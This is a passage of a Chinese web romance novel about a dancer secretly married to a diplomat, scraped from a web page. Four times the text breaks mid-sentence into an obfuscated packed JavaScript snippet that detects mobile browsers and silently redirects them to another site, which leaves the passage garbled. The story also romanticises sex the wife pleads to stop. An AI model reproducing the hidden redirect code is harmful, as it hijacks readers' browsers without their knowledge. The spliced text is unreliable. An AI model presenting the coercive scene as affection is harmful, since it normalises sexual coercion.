随着《归去来兮辞》的最后一句被吟诵出,一场表演也正式落幕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620685|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帷幕拉起的瞬间,全场观众皆起立欢呼鼓掌。 团长和编舞老师们更是激动不已,立刻给下台的孟汀一个拥抱。 一个小时,高度紧绷的肌肉和精神,对任何人来说都是一场考验,剧团的人不敢多耽误,只让她赶紧去休息室喝水吃东西。 剧团的休息室在另一边,走过去要穿过大厅旁的通道。 走出演出大厅,她那颗从起床开始就紧绷的心终于松了些。 一场大雨过后,这会已转至淅沥。穿堂的风吹来,带来秋凉时分的萧瑟冷意。嗅到这清凉语气,孟汀一直紧绷的精神才终于放松了下来。 忽然间,一束蓝色的绣球手捧花,被塞到她怀里。 清雅的香味沁人心脾,孟汀微怔了下,看清送花的人。 是周严。 看到孟汀后,他立刻露出一个标志性的腼腆笑容,但目光中,按时对她表现的欣赏和赞叹:“你今天的表演真的特别好!我本来以为之前的彩排就足够惊艳了,没想到最终呈现出的效果比之前还要好看一百倍。” 很正常的称赞,也是熟人间该有的交流。 孟汀也弯起一个笑,“谢谢。” “不过,”说着,她把刚刚不经意而收到的花往回塞,“这花我不能收。” 周严的笑容凝固了下。 孟汀:“比起我的努力,我觉得我们团队付出的更多一些,单独收下你的花,不太合适……” 周严脸色僵了下,表情略显尴尬,他确实没考虑这么多,“啊……我是想着这是你的第一场演出,可以给你添点贵气。” 可送出去的东西,也没有立刻拿回来的道理。面对孟汀的推辞,他下意识往后靠了靠。 孟汀又往前走了一步,准备还给他。 忽然间,远处投来了一道视线。 那一眼很淡,像是幽谷里缥缈的云雾,她的心里却像是过了电,指尖不经意地抖了抖。 清薄的脊背微微一僵,就在她准备循着余光追寻时,另一场剧目的演员们却如潮水般匆忙赶过去,刚好挡住她的视线。 等到人潮散去,她才确定,是自己想多了。 那个熟悉的身影,并没有出现。 也是,怎么可能是他。此刻的他,应该在巴黎。 周严看她走神,忍不住询问:“有什么事吗?” 孟汀回神,摇了摇头:“没什么,看错了人。” 周严也就没在意,笑了笑:“要去休息室吗?我们一起过去吧,我刚好要去拿个东西。” 孟汀:“好。” 被这么一打断,刚刚的花也就没还回去。 她没什么情绪地拿着,准备穿过走廊。 忽然间一个熟悉的身影出现在她面前。 不仅如此,那人手上也捧着一束花。 那束花娇艳、矜贵,开的很盛大,却是她刚好可以捧在怀里的程度,一瞬间就把现有的那束比了去。 孟汀惊讶的不行,差点就失口喊出来一句不合时宜的称呼。 所幸及时给挡了回去。 “孟小姐,这是您的家人送给您的花,祝贺您演出顺利。” 5. 第 5 章 为了接李叔这束花,原来的那束花,自然而然又回到周严手里。 现在她手上捧着的,是一捧极漂亮、极珍贵的晚香玉。 这类品种在市面上买不到,只有私人庄园才会种植。 想必是剪下来不久,馥郁的香味混合着清甜雨意,和她身上那一套未更换下来的舞裙,有种莫名的契合。 李叔说完这句话就走了。 他这句话滴水不漏,既道出了事实,又掩人耳目。 孟汀捧着这束花回到了更衣室。 一路上,她心里想着事,也就没顾得上周严,甚至他在休息室门后给她道别时,都没反应过来。 静下来之后,更有机会胡思乱想。 谢砚京……真的来了吗?刚刚那一道眼风,看方向,很像是从演出厅的方向投来。 孟汀心下一顿,翻包找手机。手机没找到,倒是被包底的东西硌了下。 是她早上收拾东西时放进去的,一个黑色的小盒子。 里面放着的,是一枚婚戒。 当年领证的决定做得匆忙,谢砚京属意的那些昂贵的高定婚戒,都需要工期,根本来不及当天就戴上。 因此婚戒变成第一次,也是唯一一次,由孟汀做决定的事情。 她融了一只母亲留给她的银镯,拜托附近村子里的阿婆打了一对素环,没有钻石,也没有别的装饰,定型之后,按照他们当地的习俗,用红布包裹,拿给了谢砚京。 他对她曾经做过的很多事情都不满意,但对这枚对戒似乎没有什么意见,自从领证的那一天起,就一直戴着。 而她这只,迄今为止,只带过三次。 一次是领证那天,另外两次,是他回来庆祝结婚纪念日。 也是这个原因,她才在出门前,将婚戒放入包内。 偌大的更衣室里空无一人,她没什么情绪地静坐半晌,打发时间似的将那枚婚戒戴在了左手的无名指上,对着灯光细细端详了下。 银色的素环,在冷白灯光下,发出熠熠的光。 只是没盯几秒,门忽然被推开。 一帮人吵吵闹闹地进来,为首的便是徐倩,她一见到孟汀,就激动地传话:“好消息!好消息!团长说今天大家太累了,可以直接回去休息了,明天早上也不用上早课,中午直接去和平大饭店聚餐!” 孟汀下意识地缩了下手,将指尖掩在一个看不清的角度,对徐倩回了个笑:“真的?!” “当然!团长简直就是人美心善。”徐倩笑嘻嘻地回应,谁能想到前一天排练时,她对团长的评价还是人狠手黑呢。 果然,让一个人黑转粉最快的方法,就是给她及时放假! 更衣室一阵手忙脚乱,一场演出本来就让人足够疲惫,大家对突如其来的休息时间,都很兴奋。 徐倩换衣服的速度堪比火箭,一边换一边还不忘和孟汀聊天:“今天的雨下得还真是大,我那辆小电驴怕是骑不回去了。” “汀汀你带了伞吗,需不需要我打车送你一程?” 孟汀摇摇头,“不用了。” 她早上出门时看了天气预报,放了把伞在包里。学府苑的房子很近,走过去也不过十分钟的距离。 徐倩这才放心地点了下头,但就在转头的瞬间,目光被一道银光吸引。 “汀汀,那是……”她诧异地指了指孟汀左手的位置,语气难以置信。 她看了什么?! 她这个小姐妹的手上,竟然出现了一枚婚戒? 孟汀很显然也愣住了,她以为自己动作匆匆,不会被徐倩发现,却不知道哪里出了问题,闪到了徐倩。 “这个啊,”幸好她反应灵敏,立刻就压住眼底的情绪,淡定道,“装饰品而已。” 说着,还非常真诚地摘了下来,摊在手心,展示给徐倩。 徐倩这才觉得自己有些大惊小怪。 只道自己最近怕是言情小说看多了,看到个戒指都想着是婚戒。 这个年龄的女孩子都爱美,拿戒指当饰品也是常事,上次她买了个小雏菊的戒指还安利给了孟汀。 更何况,她的孟汀这样孤洁冷清,不食人间烟火气,怎么会轻易结了婚。 着急放假的心情取代她想要仔细研究戒指的念头,换好衣服后,她匆匆给孟汀道了个别,骑着小电炉出发。 因为下雨的缘故,观众也早早退场归家,人潮一瞬间散去,空荡荡的剧院显出几分萧索意味。 孟汀一边低头走出大门,一边在包里翻找雨伞。 两遍过后,她绝望地发现,包里根本没有雨伞的影子。 这时她才想起,出门前,她检查工作证的时候,随手在玄关处放了个东西。 不是雨伞又是什么! 站在檐下看了会雨后,她决定一路小跑回去,左右不过十分钟的路程,能淋到哪里,她小时候,可经历过比这更大的雨天。 抬眸间,视线忽然被攫住。 迈出去的脚步瞬间顿住,她茫然地抬了下头。 眼前不知何时出现一个修长的身影。 那人一身西装革履,右手撑着一把黑色雨伞,露出一截冷白的腕骨,冷冷清清地立在混沌的雨幕中。 肩宽,腿长,背阔,冷清又落拓,像是一幅色彩渲染得极为出色的水墨画。 对上她目光的一瞬,男人掀起眼帘,目光深邃又显得冷沉,直落落地打在她的眼底。 孟汀愣了一瞬,眼睛里的诧异不言而喻:“你怎么……” 下一秒,雨中的男人靠近,将伞撑在她的头顶,缓缓抬了下眸,嗓音透过薄薄雨雾,冷冽低沉,“纪念日,不该回来?” 孟汀睁大眼睛看他,却不敢多回话,直到一旁的黑色轿车驶过,将两人都载上后,她才非常小声地唤了声:“谢砚京。” “你是什么时候回来的?”她的语气很淡,却有种自己也没意识到的期待。 疏离嗓音淡淡响起,像是溪谷里的泉水,带着很明显的凉意,“刚到。” 听到这,孟汀原本亮起的眼眸,很明显地黯淡了一下。但很快,眼底的这点情绪被压下去。 车子很快便行驶到了望公馆。 谢砚京先下了车,他是君子,是绅士,所以每次下车,都会站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620686|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一旁,扶着她的手。 只是这次,落在她左手无名指上的时间比往日更长了些。 孟汀这才想起,自己摘下对戒给徐倩看后,竟然忘记重新戴回去。 “等我一下。”她着急地扭了下头,正准备翻包,指尖却忽然被那道力量攥紧。 “这次就算了。” “下次记得。” 接着,不等她反应,便被她牵着入了宴会厅。 宽敞整洁的大厅中,暗香浮动,华丽的长桌上备好了琳琅的菜肴。娇艳的玫瑰插满了白瓷瓶,酒杯中,烛火跳动,熠熠生辉。 谢砚京很会过这种纪念日。 去年是传统中式,前年是英式,今年便换成最浪漫的法式。 常年出入各种外交场合,他对这些菜系的了解不能再正统。 前菜是煎鹅肝搭配覆盆子酱,刚一上完,谢砚京就开了瓶红酒,法国私人酒庄里的陈酿,带着历久弥新的醇厚。 看到谢砚京端起酒杯,孟汀也尝试着抿了一口。 但就这么一小口,就露出不自然情绪。 她不常喝酒,小时候家在南方,只尝过祖父酿的米酒。那酒甜津津的,不辣人,也不伤人,再加上那么一勺桂花酱,好喝得不行。 后来,第一次喝红酒,还是跟着谢砚京来到京市后。 那是她第一次踏进那样高级的宴会厅。 宾客们个个光鲜亮丽,西装革履,仪表堂堂。茶歇餐桌上琳琅满目,到处都有穿着燕尾服询问她需要不要香槟的侍者。 她好奇,就跟着要了杯。 不过只尝了一口,就被彻底劝退。可她又不好意思放回去,后半程,只能端着酒杯尴尬地来回。 最后还是被谢砚京看到,训了句:“小孩子,不要轻易喝酒,懂吗?” 孟汀怯怯地低下头,有些不懂。 如果他真的不想让她喝酒,为什么不在进门前告诉她,非要在她尝试之后才告诉她。 可他最终还是接过她手中的酒,帮她饮尽。 有人问起两人关系,他只笑笑,轻轻巧巧地避开话题。 他在这样的名利场多年,掌握话题的方向是最基本的能力。 更何况,他本身就足够干净,是天然的流言蜚语绝缘体,孟汀那次的出席,自然没有引起任何的涟漪。 只是错过了那次机会,她再也不知道她在他眼里,到底是怎样的存在。 孟汀又端起酒杯喝了一口,这次她没把握好,直接喝了一大口,一瞬间,味觉被刺激得不像话,眼角也变得湿润。 放下酒杯时,对面传来轻描淡写的一句:“不会喝酒,也不用勉强自己。” 孟汀抬了下眸,对上那双深邃的眼。 只见他不经意地转了下手上的对戒,并没有其他的话。 少女则再次垂眸,微动的眸光中,压了几分短暂的黯然。 掌心浸出几分潮湿,不自然地揪了下桌布流苏。 果然,三年过去,她在他的眼中,还是个没有长大的孩子。 不够成熟,自然也没有理由光风霁月地站在他的身侧。 6. 第 6 章 吃完晚饭,他挑了张唱片,两人一起跳了会儿舞。 他是跳舞的好手,就算是孟汀有古典舞的底子在,跳起这样的交际舞,也完全比不过他。 比不上他的优雅,他的矜贵,他的力量,他的掌控。 最后她实在是累得不行了,加上红酒的后劲,半个人都贴在他胸前的位置,随着音乐,没什么韵律地摇摆。 谢砚京的身材很好,因为常年健身的缘故,肌肉线条很清晰,腹肌明明很薄,却有一种独特的冷硬,贴上去的时候,极具安全感。 他不知道抱着她晃了多久,然后将她打横抱起,带去了卧室。 那晚当然也做了。 但凡回国,就没有空下来一天过。孟汀不懂他这个人的精力为什么会这样好,明明他也是工作了整整一天,却一点儿也不累。 最终还是孟汀败下阵来,软声让他慢一点,再慢一点。唇齿被微微碾过,最后连这一点声音都被他吞没。 她就在这样朦朦胧胧的光影中睡了去。 又一个纪念日过去了。 第二天醒来时,天空还没有放晴。 孟汀下楼后,诧异地发现谢砚京竟然还在。 他正坐在靠窗边的沙发上看文件,阴雨天,整个客厅只开了一盏落地灯,明黄色的灯光,落在他分明的五官上,给整个人都镀上了一层淡淡的金色。 明明没睡几个小时,他却不见一丝惫态,整个人都显得神采奕奕。 听到孟汀的脚步声,他缓缓抬头,慢条斯理地放下手中的文件,朝她道:“过来。” 孟汀乖乖走过去,顺着他大腿的位置坐下来。 她的体重很轻,坐上去的瞬间,宛若蝴蝶轻落花瓣,谢砚京也就顺势揽了下她的腰,本意是想让她靠的更稳固一点。 他的力道已经很轻了,没想到腿上的那位还是轻轻蹙了下眉。 男人微拧下眉,低声道:“怎么,这里疼?” 孟汀垂下眸子,小声“嗯”了下。前两天排练本来肌肉就足够疲惫了,昨晚又被他带着解锁各种动作,是个人都会有些反应。 谁道此刻的谢砚京不仅没有一点悔过的意思,姿态随意地往后靠了靠,有些促狭道:“让你垫着枕头你又不肯。” “……” 孟汀知道和他争辩不过,越聊下去,话题怕是越奇怪,于是抿了抿唇,很生涩地将话题往正事上偏:“你今天不上班?” “晚上去。” 他虽答得漫不经心,手上的力度却完全没有了,完全依靠腹部的核心力量撑着她。她身上原本紧绷的肌肉也放松了些,整个人也更舒服了。 “你也一起。” 孟汀没听清:“什么?” 谢砚京:“F国大使举办的晚宴,需要带夫人去。” 孟汀怔了一下,原本平静的心,被“夫人”两个字轻轻灼了下。 她虽然对他们的安排了解的不多,但她知道,这种晚宴,受邀的一般都是驻京人员,而不是他这样需要长期出差的负责人。 孟汀思索了一会儿,没多问什么,只是点了点头。 吃完了早餐,谢砚京就进了书房办公,孟汀则在二楼的舞蹈室里开了会晨功。 等快到时间了,才让李叔把她送到和平饭店。 这家是上个世纪就建成了的老牌高档餐厅,主营京州菜,不仅宴请、招待外宾还是邀请归国的朋友,都很合适。 毕竟是第一场巡演,团长非常大方地包下一整层给大家聚餐,算是庆祝,也是鼓舞士气,为接下来的巡演讨个好彩头。 虽然团长的意思是让大家放开了吃,但毕竟是社交场合,还有其他的领导在,有些酒必须要喝。 孟汀本就不擅长喝酒,不过两三杯,头就有些闷闷的难受,于是趁着没人注意的间隙,准备去洗手间洗把脸。 未至门口时,忽然听到洗手台前的聊天声。 “静之,你这次回国,真的是因为谢先生?” 孟汀正准备迈进去的脚步顿住。 这个角度,刚好可以看到镜前的那位。 那是极明艳,极干净的容貌。 五官精致又大气,微卷的长发搭在锁骨处,皮肤白到几乎扎眼的程度,举手投足间皆是自小被富养出来的贵气。 只见她正拿着一之小金管补妆,唇边挂着淡淡的微笑道:“也不是啦,就是刚好看到外事部在招实习生,就投了个简历试试,没想到真的会中。” 旁边的女生继续恭维:“啊!就是那个将近四年都没有进过人的外事部?天啊,静静你简直不要太优秀!” “静之,那你今晚有没有时间啊?刚好我和穗穗在蓝湾那边组了个局,有时间的话一起过去呗。” 她收了下手中的小金管,只听嗒的一声,手袋轻扣:“我也很想过去,只不过今晚有个很重要的酒会要去,真是抱歉。” 她的话指向不明,女生却惊讶道:“该不会是外事部的酒会吧?” 俞静之这次却没有再回复,轻挽下唇,在一众羡慕的声音中,先走了出来,朝对面的方向走去。 孟汀抬了下僵硬的脚步,却听里面的讨论声再次响起。 只不过,这一次,语气从恭维变成了阴阳怪气:“有的人就是这么好命,什么简历,什么经历,都比不过一个好哥哥罢了。” “什么好哥哥?” “就是那位外事部负责人,谢砚京呀,听说他们从小就是一起长大,谢家早都默认她是谢家长媳。” “可是谢先生不是已婚身份吗?听说负责人那个位置的硬性条件便是已婚……” “领证是多容易的事,和谁领都是领,我听说是因为俞家不想那么早嫁女儿,所以先找了个替身,等到时机成熟,就给那女生一笔遣散费打发走。” “左右不过是个无权无势的小姑娘,翻不起什么水花,能和俞小姐比?你看她今天的那一身,少说也值一百个,她不好命还有谁好命……” 水流声哗啦啦响起,两个女生说完这句也走了,孟汀的腿却僵的更明显了。 一时间,暮霭沉沉,一场瓢泼大雨,如期而至。 回去之后,孟汀头晕的症状不仅没有好转反而有些变本加厉,因此聚会的后半程一直恹恹的。 终于坚持到了最后,同学却又张罗着去唱歌,孟汀找了个理由推脱,没想到一转身,迎面便碰上了走过来的团长。 团长:“不舒服吗?” 孟汀笑的有些牵强:“可能有点酒精上头。” 团长有些担心:“这样啊。” 孟汀听到她话里有话,正了下神,又问:“团长……您有什么事吗?” 团长犹豫下,还是开口:“我有个外甥女,也是古典舞专业,刚刚大学毕业,明天要去剧团面试。” “她年纪小,不甘心就这么进了体制,加上小时候练舞时我对她太狠,现在逆反心理也比较重,我的话听不进去,本来想着今晚如果你有空,能帮她稍稍辅导一下,临阵磨枪。” 孟汀:“今晚吗?” “你要是有事或者不舒服,不用勉强。” 今晚她确实有事,只不过…… 盥洗室里的一幕,在她脑海中短暂浮现了下。心中短暂凝滞一瞬后:“今晚我会准时过去。” * 下雨天,软件上排队打车的人很多。 给谢砚京的消息是出门前才发的,犹犹豫豫,从编辑消息到发出,用了将近半个小时。 没有回复。 孟汀不知道这对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620687|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她来说算不算好事。 他们两人的聊天界面很干净。 各个层面上的干净。 两人因为各自工作的原因,并不是每天都聊天。 但他总是能把握好聊与不聊的度,从不让她感到厌烦。 从最初的早安,晚安,再到天冷多加衣之类的场面话,对话框里的他,端庄持礼,克己审慎,让人挑不出任何毛病。 不知道的,还以为他们两个谈的是柏拉图式恋爱。 也是,那些浑话都让他在床上说尽了,聊天框里确实没有必要。 …… 车子很快到了团长家。 团长老公做生意,年轻时就已财富自由,早年团长做领舞,每天都要练功,所以别墅里有单独的舞蹈室。 她到的时候,贺佳沂已经在了。大学是象牙塔,刚走出来时,都是喜怒哀乐写在脸上,大概还在和大人闹矛盾,此刻环胸抱臂地坐在沙发上,孟汀进来时,眼睛抬也没抬一下。 团长好说歹说半天,她倒是没反抗,但是走进舞蹈室时,明显带着不快。 团长苦笑,对孟汀露出一个拜托了的表情。 孟汀紧随其后,大学时她曾在校外兼职过,应对这种小孩子脾气,还是有些经验的。 换好衣服后,她没有马上开始,而是和小姑娘一样,坐在地上:“不想进体制?” 孟汀出生在南城的古镇,虽然已经在京市待了很多年,但是口音依然没怎么改,糯糯的语调,有种天然的亲和柔软。 因为这一声,小姑娘转身看她一眼。 孟汀继续道:“我能理解你的心情,就和我当初一样,不想被束缚在一个地方,想要走南闯北地看看这个世界。” 对方疑惑地盯着孟汀,忍不住道:“所以你也支持我不去剧团?” 孟汀却摇了摇头,“不是支持你不去剧团,而是支持你将每一件事情做好。” “就算是别的地方,也是要面试的呀?以后说不定还有类似的面试场景要表演,多经历,多体验,总是没问题的。” 孟汀说这话时,语气平静,却有种难言的真诚。 贺佳沂眸光动了动,沉默半晌后,微微偏了下头:“可是……我怕这次面试进去,就没有再出来的机会了。” 孟汀则毫不犹豫地接话:“剧团的食堂很好吃,宿舍也很干净。” 贺佳沂一愣:“?” 这样朴素直白的评价,她已经很久没听过了。 临近毕业以来,所有给她推介工作的人,都会说这个平台如何,资源如何,能融入的圈子如何,发展前景如何,还没有人拿出这样的优势“诱惑”她。 僵了半晌之后,她终于忍不住,噗嗤一声笑出来。 来之前的怨气,也彻底消散。 …… 辅导一共进行了两个小时,孟汀知无不言,小姑娘也学的足够真诚,回到望公馆时,已经将近十一点钟。 谢砚京还没有回来。 大使馆的酒宴一向持续到午夜,若是平常,她大概会等着他回来。可今天实在有些累,洗完澡便上床睡了。 再次清醒,是因为一阵隐隐的疼痛。 身体的某个地方,毫无防备地被打开。 她下意识地睁开眼,对上那双深邃的眼。 可对方并没有因为她被弄醒而放慢动作,相反,更加狠戾了起来。宽大的掌心覆上她的腰线,即使在月色下,也能看到冷白皮肤上凸起的青筋。 孟汀被禁锢的动弹不得,冷冽的气息,裹挟着窗外飘摇的风雨,像是一张密不透风的网,将她整个人牢牢罩住,几乎窒息。 半明半暗的阴影下,可以窥见他眼眸中压抑着的危险。 她隐约察觉到,他在生气。 7. 第 7 章 谢砚京和她认识的很多男人都不一样,他发脾气时不会大吵大闹,更接近于一种无声的爆发,表面上越平静,下面蕴藏的暗流就越汹涌。 曾经是完全冷着她,领证之后,又多了一种新的方式。 局部的疼痛因为疲惫蔓延至全身,脸上早已分不清是汗水还是泪水,紧紧相贴的肌肤滚烫炽热,没有任何能够喘息的空隙。 因为带着气,今日他的动作又和前几天完全不同,简直就要承受不住,可就在她抓住他的手腕,准备恳求时,一个吻恶劣地落了下来。 月光如流水般,从窗外倾泻而入,笼在男人清隽矜贵的面容上,她微微躬着身子,汗水顺着脸颊缓缓流下,等到他吻够了,才终于能出声道:“能不能别那样弄……” “我好累。” “今天,能不能就到这里……”眼尾不知何时变得潮湿,游丝般的声音,几近哀求。 只是这声哀求,没有换来任何同情,反而是声冷嘲:“累吗?” “宝宝,”他轻声唤她,手上的动作却一刻不停。 粗粝的掌心抚过她的脸颊,慢慢往下划去,最后,凸翘的指骨抵住下颌的位置,将她的脸庞扬起,“你口是心非的毛病什么时候能改改?” 原本下垂的眼眸扬起,被迫对上那双深邃的眸。 “有精力给别人补习两个小时,也不愿参加轻松的酒会?” 原来是因为这个。 孟汀轻颤一下,泪眼蒙胧地望着他,微颤道,“团长她……很少找我帮忙。” 这个解释显然没有让他满意,反而让他生出些怒极反笑的意味,“这样吗?” “可是我现在,也需要帮忙。” 他的手绕到她腰腹上,将她整个人都抱在了怀里。 她身子下意识陡然一紧。 就是这么一紧,他的语气反而没有刚刚那般冷冽,指腹轻轻摩挲着她的下颌线,尾音轻轻上扬,“这样就很好。” “……” 室内没有开灯,冷白色的皮肤下,是道道分明的筋骨,交错纵横,透着生命力,她抵抗不过,只能放弃,发丝凌乱地晃动着,雪白的面容早已沾染了几分红晕,像是风中摇曳的玫瑰。 孟汀头昏脑胀,眼泪不受控制地往下流,到最后,疲惫得连睁眼的力气也没有。 浴室中,哗啦啦的水声,宛若一场大雨。 水声静止后,他才打开房间内那盏落地的小夜灯。 融融灯火下,他眼角锋利,眉骨硬挺,深色浴袍冷冽而有形,似是比夜色还要深沉。 接着,一板塑料被扔到被褥上。 他睨她一眼,低哑的声音,没什么情绪:“我没戴套。” 孟汀呼吸一滞,这才看清,扔在自己身旁的,是一板白色的,避.孕.药。 “热水接好了,你自己下床吃。” “我晚上还有视频会。”说完,门吱呀一声打开,再抬眼时,房内只剩下她一个人。 周遭顿时安静地落针可闻,刚刚的那一阵兵荒马乱,像是一场旖旎的荒唐。她望着半开的门发了会呆,最终也只是压住眸中的情绪,掰出两粒药,和着水慢慢吞下去。 * 第二天是舞团的公休日,因此她这一觉睡得没什么负担。 晨起时,日光从窗外闲闲地落进来,一扫两天前的阴霾。 昨晚的睡裙早已被他折腾得不能再穿,她拉开衣柜,准备找件旧的,没想到那些旧的也不翼而飞。 孟汀只好先披了件披风,下楼询问云姨。 云姨听到后有些困惑:“您没有换洗的衣物吗?一大早先生抱下来一大堆,交代要洗好晾晒的,我才洗完没多久……” “衣柜里没有别的了吗?” 当然有,孟汀刚刚还看到了。 原本属于她的地方,挂着一件男款的白色t恤。 孟汀无意识地咬了下唇,心下却早已明白。 显然,昨晚他的所作所为不足以发泄,知道她在难得的休息日,在家只会穿睡衣,所以才会如此。 她当然没穿那件衣服,洗漱完,翻出一套运动装,虽然没有睡衣睡裙那般舒适妥帖,但当居家服还是足够。 谢砚京并不在家,他回国的时间一向紧凑,今日在哪里根本无从得知,所以这一日还是她自己过。 只是快到中午时,门铃忽然响了下。 门打开的瞬间,漾出一张明艳漂亮的小脸,脆生生地喊她:“嫂子!” 是谢书语。 她是谢砚京的堂妹,在巴黎美院读研。谢家子嗣分支多,但分家后各自疏远,这一脉,也就她和谢砚京走得近些。 她读授课型硕士,没什么毕业压力,只剩下最后一年时间就毕业,空下来的时间不少,有事没事喜欢往国内跑。 谢书语是和他完全不同的热闹性格,有什么说什么,见到孟汀的第一眼,便直白道:“嫂子,你眼底的黑眼圈怎么那么重?” 孟汀怔了怔,因为想着不出门,起床后只做了个基础护肤,也没怎么关注自己的皮肤状态。 这么明显吗? 孟汀不语,谢书语却明白了,撇了撇嘴:“昨晚我哥是不是回来了?” 孟汀抿了下唇,诚实道:“嗯。” 谢书语哼了声,“他这个人真的是……” 两人虽不是亲兄妹,但到底一起在谢家生活多年,对她这个哥哥的本性多少有些了解,看到孟汀一脸疲惫的样子,拧了下眉表示不满。 不过她也没多问,只是将手上拎着的两个娃娃,塞了一只到孟汀手里。 “嫂子,你看看,我好不容易抢到的稀有款,送你一个当包挂。” 孟汀低头看一眼,会心一笑。 是最近网上炒得很火的那一款盲盒娃娃,第一眼看龇牙咧嘴的有些丑,但是看多了,还觉得有些可爱。 她接过来,轻轻捏了捏娃娃的脸。 进门后,谢书语又叽叽喳喳聊了半天,她是闲不住的性格,得知孟汀休息一天,立刻撺掇着她出门逛街。 谢书语是真正的大小姐。 谢家虽然家教严,但是对女儿的教育还算宽松,并无从商或从政的硬性要求。出国,旅行,逛街,追星……成长这么多年,只要她想做的,几乎都能做到。 司机将两人送到中环的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620688|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栋商场里。 两人因为经常一起出门,基本已经形成默契。 先去一楼试一试sales推荐的新包,再去二楼试衣服。 孟汀的物欲并不高,衣柜里除了练功服就是演出服,日常的衣服没有几件,因此她对这些东西的兴趣并不大,大部分时间都是陪着谢书语。 两人最后落脚在一家奢牌店,M开头,创始于三百多年前的意大利,以定制高端西装起家,后来才衍生出时装。 谢书语看中一条月白色的粗呢连衣裙,正在试衣间试,孟汀坐在休息区,等待间隙,随手翻了翻手边的品牌杂志。 翻着翻着,倒是让她想起来,谢砚京有件外套就是来自他家。 他因为工作原因,常年只穿公务装,很少有休闲的衣服。望公馆整整一面衣柜,打开来看,几乎是看不出任何区别的暗色西装。 细想来,这点倒是和她不谋而合。 孟汀慢吞吞地翻着杂志,谢书语试完衣服出来,正在大大方方地照镜子。 她个子高挑,皮肤也白,精致的小香风被她穿出几分俏皮,搭配颈间的那串小澳白,镜前的暖光打下来,即刻去走T台也不为过。 “怎么样嫂子?” 孟汀真诚地点了点头:“简洁大方,很适合你。” 只是刚刚还非常上心的谢书语,听到这句夸赞,却没有立刻回应,目光反而定格在不远处柜台的位置。 下一秒,秀眉微蹙:“她怎么来了?” 孟汀也跟着看了过去。 明亮灯光下,那人穿一身浅蓝色的长裙,柔软的裙摆如水纹般轻轻荡开,怀里抱了件深蓝色的西装外套,正微笑着同导购攀谈。 “女士,只有这一件男士的外套需要维护吗?” “嗯。” “好的,麻烦您在这里登记,请您耐心等待,等到维护结束后,我们的工作人员会送到您家中。” “谢谢,麻烦了。” “客气了,咱们这边还有些上新的女士秋装,您需要看看吗?” “刚送回来的吗?那我看看吧……” 说着,两人已经慢步走了过来。高跟鞋落在松木地板上,发出笃笃的声响。 也就是眨眼的工夫,谢书语竟然已经将自己的衣服换好出来了。她抓住孟汀的手腕,匆忙道:“嫂子,我们走!” 谢书语动作太快,孟汀还未反应过来,就已经被那股力量带着出发了。 伴随着匆忙脚步的,还有耳边的碎碎念:“为什么会在这里碰上,好烦。” 店内的货区弯弯绕绕,两人从另一个方向走,还真的没和对方碰面。 只是因为出门时,要下一小截台阶,她没注意,差点崴了脚。 谢书语吓了一跳,忙扶住她:“嫂子你没事吧?” 孟汀努力把身子站正,摇了摇头。 因为常年练舞的原因,被撞到或者崴到是常事,这对她来说根本不算什么。 只是再次迈开步子时,心中莫名涌上某种异样感受。 不是因为崴到脚,而是因为,她知道,俞静之怀中抱着的那件外套,曾经属于谢砚京。 8. 第 8 章 从商场出来后,两人找了家咖啡店。 谢书语觉得自己迫切需要一杯冰美式,用来忘记刚刚的不愉快。 她一直不喜欢俞静之,不仅是因为俞静之是长辈眼中大家闺秀的典范,总是要被耳提面命地要求同她学习,更因为俞静之和谢砚京之间那层一两句说不清的关系。 更何况,他们之间现在还隔着一个孟汀。 谢书语很快点完了单。 孟汀这边就有些纠结了。 她要控制体重,巡演前要做皮肤管理,所以乳制品能不碰就不碰。从前还能喝一喝冰美式,但去年体检查出了轻度贫血,连美式也被禁了。 她还记得拿体检报告的那天,谢砚京刚好在身旁,看到她的结果后,二话不说就带着她回了金陵。 金秋十月,正是金陵一年中最好的时节。 